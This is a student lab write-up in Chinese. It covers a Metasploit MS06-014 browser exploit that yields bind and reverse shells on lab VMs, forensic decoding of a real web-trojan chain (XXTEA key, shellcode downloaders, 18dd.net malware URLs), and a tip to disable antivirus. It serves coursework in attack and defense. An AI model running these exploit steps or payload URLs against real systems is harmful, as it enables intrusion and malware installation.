20231903 2023-2024-2 《网络与系统攻防技术》第十一次作业

一、实践内容

1、web浏览器渗透攻击

任务：使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤：
①选择使用Metasploit中的MS06-014渗透攻击模块；

②选择PAYLOAD为任意远程Shell连接；

③设置服务器地址和URL参数，运行exploit，构造出恶意网页木马脚本；

④在靶机环境中启动浏览器，验证与服务器的连通性，并访问而已网页木马脚本URL；

⑤在攻击机的Metasploit软件中查看渗透攻击状态，并通过成功渗透攻击后建立起的远程控制会话SESSION，在靶机上远程执行命令。
2、取证分析实践—网页木马攻击场景分析

实践过程：

①首先你应该访问start.html，在这个文件中给出了new09.htm的地址；

②在进入 htm 后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到 http://192.168.68.253/scom/hashed/。
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写，且没有扩展名)，即为解密出的地址对应的文件；

③如果解密出的地址给出的是网页或脚本文件，请继续解密；

④如果解密出的地址是二进制程序文件，请进行静态反汇编或动态调试；

⑤重复以上过程直到这些文件被全部分析完成。
3、攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理之后组装成一个URL，通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态，并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

二、实践过程

1、web浏览器渗透攻击

虚拟机	IP
Kali	192.168.200.7
windows xp	192.168.200.3

首先查询一下Kali与 WinXP的IP地址

测试Kali和windows xp之间的连通性

在Kali中输入命令“sudo su” 进入根权限，之后输入命令“msfconsole”，打开Metasploit

使用命令“search MS06-014”，寻找Metasploit中的MS06-014漏洞

利用命令“use exploit/windows/browser/ie_createobject”，使用查询到的模块进行攻击、命令“set payload windows/shell/bind_tcp”选中本次攻击使用的payload、命令“set lhost 192.168.200.65”设置攻击者ip，并利用命令“set SRVPORT 80”与“set URIPATH /”设置实验的参数

利用命令“show options”查看是否正确设置好参数

利用命令“exploit”发动攻击

在Winxp中打开浏览器，输入攻击时构建的ip地址192.168.200.65，得到结果如下

利用命令“sessions 1”提取一个会话，可以发现进入了winxp的shell，输入ipconfig可以得到相同反馈，攻击成功

2、取证分析实践—网页木马攻击场景分析

（1）首先我们应该访问实验指导书中给出的 start.html 文件，但考虑到这个文件中包含了new09.htm是恶意网站的入口，我们不直接在浏览器中打开它，而把它下载下来。下载以后用记事本打开，搜索“new09.htm”，找到两处

（2）从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径，所以new09.htm 文件与 start.html 文件在同一目录下。同样，下载下来并用记事本打开，可以发现引用两个文件，一个是http://aa.18dd.net/aa/kl.htm 文件，另一个是 http://js.users.51.la/1299644.js 文件

（3）分别对它们作 MD5 散列

（4）在文件夹中分别找上述对应Hash值的文件，并打开，可以发现， 第一个文件23180a42a2ff1192150231b44ffdf3d3 中的内容不是我们要找的，第二个文件看起很复杂看起来像我们要找的文件

（5）第二个文件的内容看起来很复杂，但实际上这是一种被称为XXTEA+Base64 的加密方法，对付这种加密方法，我们只要找到它的加密密钥就可以。我们发现加密密钥为：t=utf8to16(xxtea_decrypt(base64decode(t), ‘\x73\x63\x72\x69\x70\x74’));

（6）xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下，可以得到密钥是“script”

（7）我们将密钥输入，对上述文件进行解密 ，可以看到是16进制的文本文档

（8）在十六进制转换为字符的在线网站中输入上文中引号的内容，进行转换，可以得到如下代码。可以发现其中主要包含的漏洞为：微软数据库访问对象“Adodb.Stream”、暴风影音“MPS.StormPlayer”、PPStream 漏洞“POWERPLAYER.PowerPlayerCtrl.1”和百度搜霸“BaiduBar.Tool”，其中还包含了三个js文件和一个压缩包。这些都是现在网络用户使用非常频繁的软件，其危害性可见一斑

（9）获取四个漏洞对应引用的四个文件的md5散列值

http://aa.18dd.net/aa/1.js 的md5值为：5D7E9058A857AA2ABEE820D5473C5FA4

http://aa.18dd.net/aa/b.js 的md5值为：3870C28CC279D457746B3796A262F166

http://aa.18dd.net/aa/pps.js 的md5值为：5F0B8BF0385314DBEOE5EC95E6ABEDC2

http://down.18dd.net/bb/bd.cab 的md5值为： 1C1D7B3539A617517C49EEE4120783B2

（10）在hashed文件夹中依次找到这四个文件

http://aa.18dd.net/aa/1.js（5D7E9058A857AA2ABEE820D5473C5FA4）：可以发现是16进制文件

将其中的十六进制部分转化为文本后得到以下结果，可以发现该文件下载了http://down.18dd.net/bb/014.exe程序

http://aa.18dd.net/aa/b.js（3870C28CC279D457746B3796A262F166）：分析得到该文件使用了packed加密

在http://matthewfl.com/unPacker.html网址进行解密，可以发现其中包含shellcode需要寻找对应的URL

我们可以看到关键字shellcode，根据参考文件，shellcode是一个下载器，因此需要寻找其中的URL，最后找到的结果为http://down.18dd.net/bb/bf.exe

http://aa.18dd.net/aa/pps.js (5F0B8BF0385314DBEOE5EC95E6ABEDC2):发现该文件采用8进制的加密方法

将8进制文件进行转换成字符串后得到如下结果，然后跟之前的操作一样，同样有shellcode，于是我们用相同的方法得到其中包含的URL：http://down.18dd.net/bb/pps.exe

http://down.18dd.net/bb/bd.cab(1C1D7B3539A617517C49EEE4120783B2)：发现是一个压缩文件，在虚拟机中解压后可以得到一个bd.exe文件

同上一个解密方法一样，可以得到可执行文件http://down.18dd.net/bb/pps.exe
接下来对以上得到的链接计算相应的MD5值：
http://down.18dd.net/bb/014.exe ：ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe%EF%BC%9A 268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe ：ff59b3b8961f502289c1b4df8c37e2a4
在资源中找到对应的文件，可以发现四个文件的大小相同。并且在kali中计算上述文件对应的md5值，发现结果一摸一样，那么可以推测四个文件的内容一摸一样。所以我们只需要看其中一个即可，在IDA反汇编中打开四个文件中的一个

其中包含从各种URL下载各种木马

其中包含“允许”，“允许执行”等操作，表明该程序能够避免系统对其的一些防护

3、攻防对抗实践—web浏览器渗透攻击攻防

本次实验由我和谭舜聪同学共同完成

3.1 攻击
攻击方：kali（192.168.31.49） 防守方：win2k（192.168.31.156）

（1）输入msfconsole命令，进入控制台

 

（2）输入search ms06-014命令，查找将使用的漏洞所对应的模块；易知模块编号为0；

（3）输入指令：
use 0，使用该漏洞模块；
输入指令：set payload generic/shell_reverse_tcp，选择攻击载荷进行反向tcp链接，主动攻击；
输入：set RHOST 172.20.31.156，配置靶机；
输入：set LHOST 172.20.31.49，配置攻击机；

（4）输入指令：exploit，进行渗透攻击；可以得到含有木马的网络链接：http://192.168.31.49:8080/iUPWXPbtq；随后诱导靶机打开该链接，则攻击完成。

（5）输入指令：sessions -i 1，打开回话；并输入ipconfig进行检验，可知攻击成功；

3.2 防守

攻击方：kali（192.168.31.148） 防守方：win2k（192.168.31.96）

（1）在靶机中打开该地址，浏览器显示一串字符

（2）查看源代码可以看懂语句之间存在很多空格，需要对其进行压缩

（3）压缩网站为：https://www.bejson.com/jshtml_format/?_t=t，压缩后的结果如图所示，我们可以看到这个恶意代码调用了document.location运行攻击载荷，并且附带了一个可执行文件tjTIQCYxcl.exe

三、学习中遇到的问题及解决

问题：在http://down.18dd.net/bb/bd.cab(1C1D7B3539A617517C49EEE4120783B2)中打开发现是一个压缩文件，在解压的过程中，电脑里的火绒会自动将其视为蠕虫病毒，直接删除

解决方案：可以先关闭火绒杀毒软件在进行解压操作，也可以在虚拟机里进行解压

四、实践总结

通过本次实验，我学习了如何构造漏洞，了解了web浏览器渗透攻击与防御。本次实验的内容很多，步骤很琐碎，感觉难度也很大，花了很大一部分时间去理解原理、解决问题，但一整个实验做下来之后，感觉思路逐渐清晰，心情很舒畅！